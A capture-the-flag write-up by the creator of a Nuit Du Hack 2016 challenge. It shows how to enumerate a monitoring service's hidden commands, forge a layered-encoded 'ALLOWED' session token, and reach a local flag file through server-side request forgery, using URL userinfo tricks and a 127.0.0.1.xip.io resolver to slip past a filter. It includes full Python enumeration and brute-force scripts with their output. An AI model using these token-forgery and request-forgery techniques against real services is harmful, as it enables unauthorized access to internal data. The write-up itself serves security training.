
This challenge has been created for the public wargame of the Nuit Du Hack 2016 event and has not been resolved. This is a write-up written by the creator of the challenge.
The goal of the challenge is to divert the URL supervision service to retrieve the flag.txt
file which is accessible through a web server listening on 127.0.0.1
.
As no additional information is given about how to access the service, other than the domaine name, to begin the challenge, the first step is to scan all ports of the target. The port 8000/TCP is open and when connection to it, the following message is sent:
# todo add a welcome message here
In the topic it is writtent that a help...
function exists but without giving the whole name. The following behavior has been noticed when playing with the function name:
help Ambigous command. hel Ambigous command. helo Command not found. he Ambigous command.
When the begining of the string is valid and matches a part of a function the response of the server is Ambigous command.
and if it is not the case Command not found.
.
The following code is used to enumerate the functions:
import socket
import string
import time
import sys
if len(sys.argv) != 2:
print 'usage: python %s ip' % (sys.argv[0])
exit()
ip = sys.argv[1]
def getFunctions(rest, poc_socket):
for letter in string.ascii_lowercase + string.ascii_uppercase:
poc_socket.send('%s%s\n' % (rest, letter))
resp = poc_socket.recv(1024)
if 'Command not' in resp:
pass
elif 'Ambigous command' in resp:
getFunctions(rest + letter, poc_socket)
else:
print ' - Function found %s, response is :\n %s' % (rest + letter,resp)
time.sleep(1)
poc_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
poc_socket.connect((ip, 8000))
print '\n[+] Enumerating functions :'
getFunctions('', poc_socket)
By executing this script, the following functions have been found:
[+] Enumerating functions : - Function found createAccount, response is : Arguments should be : login password - Function found createMonitor, response is : Arguments should be : session path tomatch - Function found getMatch, response is : Arguments should be : session - Function found helpPLZ, response is : createAccount [username] [password] : create a new account logMeIn [username] [password] : get your session test : just a test function createMonitor [session] [path] [tomatch] : create an URL monitor (every 20 seconds, one per account, begin of string is "http://2015.nuitduhack.com" you add the path) and match a string in the response body getMatch [session] : check if monitor matched something helpPLZ : this function - Function found logMeIn, response is : Arguments should be : login password - Function found test, response is : CRAZY TEST FUNCTION
All functions names have been enumerated. First, an account is created using createAccount
:
createAccount ds ds Account has been created
The session is retrieved by authenticating with logMeIn
:
logMeIn ds ds 4699c41b-cb08-49fc-a5c8-d061a684dfee:JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2UY2JUM5GFGNDHJRJTI5CMKNAXKTDJGB2USQZUORGGOPJ5
An attempt to create a monitor through createMonitor
is sent:
createMonitor 4699c41b-cb08-49fc-a5c8-d061a684dfee:JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2UY2JUM5GFGNDHJRJTI5CMKNAXKTDJGB2USQZUORGGOPJ5 /en/ nuitduhack Not allowed
An element seems to be missing to get the rights to use this function. A second account is created to compare the sesssions:
createAccount ds2 ds2 Account has been created logMeIn ds2 ds2 bd10b2dc-d4c2-4007-8930-de8e7ac7fcc3:JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2UY2JUM5GFGNDHJRJTI5CMKNAXKTDJGB2USQZUORGGOPJ5
The second part of the session is the same. This part seems to be encoded using base32
. It can be recognized regarding the used charset (uppercase alpha, digit and the =
character):
$ echo 'JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2UY2JUM5GFGNDHJRJTI5CMKNAXKTDJGB2USQZUORGGOPJ5' | base32 -d LS4gLS4tLSAtLi0tIC0uLi4gLi0tLSAuLS4gLS0uLSAtLi4uLSAuLi4gLS4gLS4tLSAuLi0uIC4tLg==
Next part is obviously base64
encoded:
$ echo 'LS4gLS4tLSAtLi0tIC0uLi4gLi0tLSAuLS4gLS0uLSAtLi4uLSAuLi4gLS4gLS4tLSAuLi0uIC4tLg==' | base64 -d -. -.-- -.-- -... .--- .-. --.- -...- ... -. -.-- ..-. .-.
This part looks like morse code. The hackercodecs python library is used to decode it:
import hackercodecs
print '-. -.-- -.-- -... .--- .-. --.- -...- ... -. -.-- ..-. .-.'.decode('morse')
The result is NYYBJRQ=SNYFR
which is, to finish on a high note, some rot13
:
$ rot13 'NYYBJRQ=SNYFR' ALLOWED=FALSE
Now, the string ALLOWED=TRUE
is encoded the same as seen earlier. A new attempt to try to create a new monitor is done:
createMonitor 4699c41b-cb08-49fc-a5c8-d061a684dfee:JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2EYUZUM5GGSQLVJRUTI5KJIM2HITDHHU6Q==== /en/ nuitduhack Allowed
The getMatch
function is called to check if it worked:
getMatch 4699c41b-cb08-49fc-a5c8-d061a684dfee:JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2EYUZUM5GGSQLVJRUTI5KJIM2HITDHHU6Q==== Allowed Match OK on nuitduhackThe request has worked.
The request is sent on http://2015.nuitduhack.com
and the rest of the address can be modified during the monitors' creation. It is possible to create an address so that the credentials can be sent through it, for example http://login:password@site.com/
. If the path :@perdu.com/
is asked, the address should be created the following way so that it becomes http://2015.nuitduhack.com:@perdu.com/
:
createMonitor 4699c41b-cb08-49fc-a5c8-d061a684dfee:JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2EYUZUM5GGSQLVJRUTI5KJIM2HITDHHU6Q==== :@perdu.com/ Perdu Allowed getMatch 4699c41b-cb08-49fc-a5c8-d061a684dfee:JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2EYUZUM5GGSQLVJRUTI5KJIM2HITDHHU6Q==== Allowed Match OK on Perdu
It has been possible to verify that the response of the request match the word Perdu
on the http://perdu.com
site. Now, the same thing can be tested on http://127.0.0.1
and to match the flag::
string as mentioned in the topic:
createMonitor 4699c41b-cb08-49fc-a5c8-d061a684dfee:JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2EYUZUM5GGSQLVJRUTI5KJIM2HITDHHU6Q==== :@127.0.0.1/ flag:: Allowed IDS WAF was triggered! Did you try something funny?He is not authorized to access to the local interface. However, domain names are authorized. A service like xip.io exists to resolve a local IP address or of a private network by using, for example, the address
127.0.0.1.xip.io
:
$ host '127.0.0.1.xip.io' 127.0.0.1.xip.io has address 127.0.0.1This address can then be used to create a monitor:
createMonitor 4699c41b-cb08-49fc-a5c8-d061a684dfee:JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2EYUZUM5GGSQLVJRUTI5KJIM2HITDHHU6Q==== :@127.0.0.1.xip.io/flag.txt flag:: Allowed getMatch 4699c41b-cb08-49fc-a5c8-d061a684dfee:JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2EYUZUM5GGSQLVJRUTI5KJIM2HITDHHU6Q==== Allowed Match OK on flag::
Now, a script is created to automatically create monitors to test character by character and in case of success test the next one. The topic gives the format of the flag flag::[a-z0-9]{12}
. The following script is used to retrieve it.
import socket
import string
import time
import sys
if len(sys.argv) != 2:
print 'usage: python %s ip' % (sys.argv[0])
exit()
ip = sys.argv[1]
def getSession(poc_socket):
poc_socket.send('logMeIn ds ds\n')
resp = poc_socket.recv(1024)
return resp.strip()
def createMonitor(poc_socket, session, to_add):
global to_match
poc_socket.send('createMonitor %s :@127.0.0.1.xip.io/flag.txt %s\n' % (session, to_match + to_add))
resp = poc_socket.recv(1024)
return(resp)
def getMatch(poc_socket, session):
poc_socket.send('getMatch %s\n' % session)
resp = poc_socket.recv(1024)
return(resp)
def magic(poc_socket, session):
global to_match
charset = string.ascii_lowercase + string.digits
max_len = 12
sys.stdout.write(' [+] Searching for characters : flag::')
sys.stdout.flush()
for actual_len in range(max_len):
for to_add in charset:
sys.stdout.write(to_add)
sys.stdout.flush()
createMonitor(poc_socket, session, to_add)
time.sleep(22)
if ' OK ' in getMatch(poc_socket, session).strip():
to_match += to_add
sys.stdout.write('\b')
sys.stdout.write(to_add)
sys.stdout.flush()
break
sys.stdout.write('\b')
print '\n\n[+] All done !'
#allowed=true -> morse -> base64 -> base32
allowed_string = 'JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2EYUZUM5GGSQLVJRUTI5KJIM2HITDHHU6Q===='
to_match = 'flag::'
poc_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
poc_socket.connect((ip, 8000))
#Get service message
poc_socket.recv(1024)
print '\n[+] Getting session'
session = getSession(poc_socket).split(':')[0] + ':' + allowed_string
print session
time.sleep(1)
print '\n[+] Creating initial monitor'
print createMonitor(poc_socket, session, '')
time.sleep(1)
print '\n[+] Sleeping to let the monitor trigger'
for i in range(22):
sys.stdout.write('.')
sys.stdout.flush()
time.sleep(1)
print '\n\n[+] Checking initial response'
print(getMatch(poc_socket, session))
print '\n[+] Doing the magic, will take time...'
magic(poc_socket, session)
poc_socket.close()
And the result of the execution where the flag is retrieved:
[+] Getting session 4699c41b-cb08-49fc-a5c8-d061a684dfee:JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2EYUZUM5GGSQLVJRUTI5KJIM2HITDHHU6Q==== [+] Creating initial monitor Allowed [+] Sleeping to let the monitor trigger ...................... [+] Checking initial response Allowed Match OK on flag:: [+] Doing the magic, will take time... [+] Searching for characters : flag::3dq2yto9sppx [+] All done !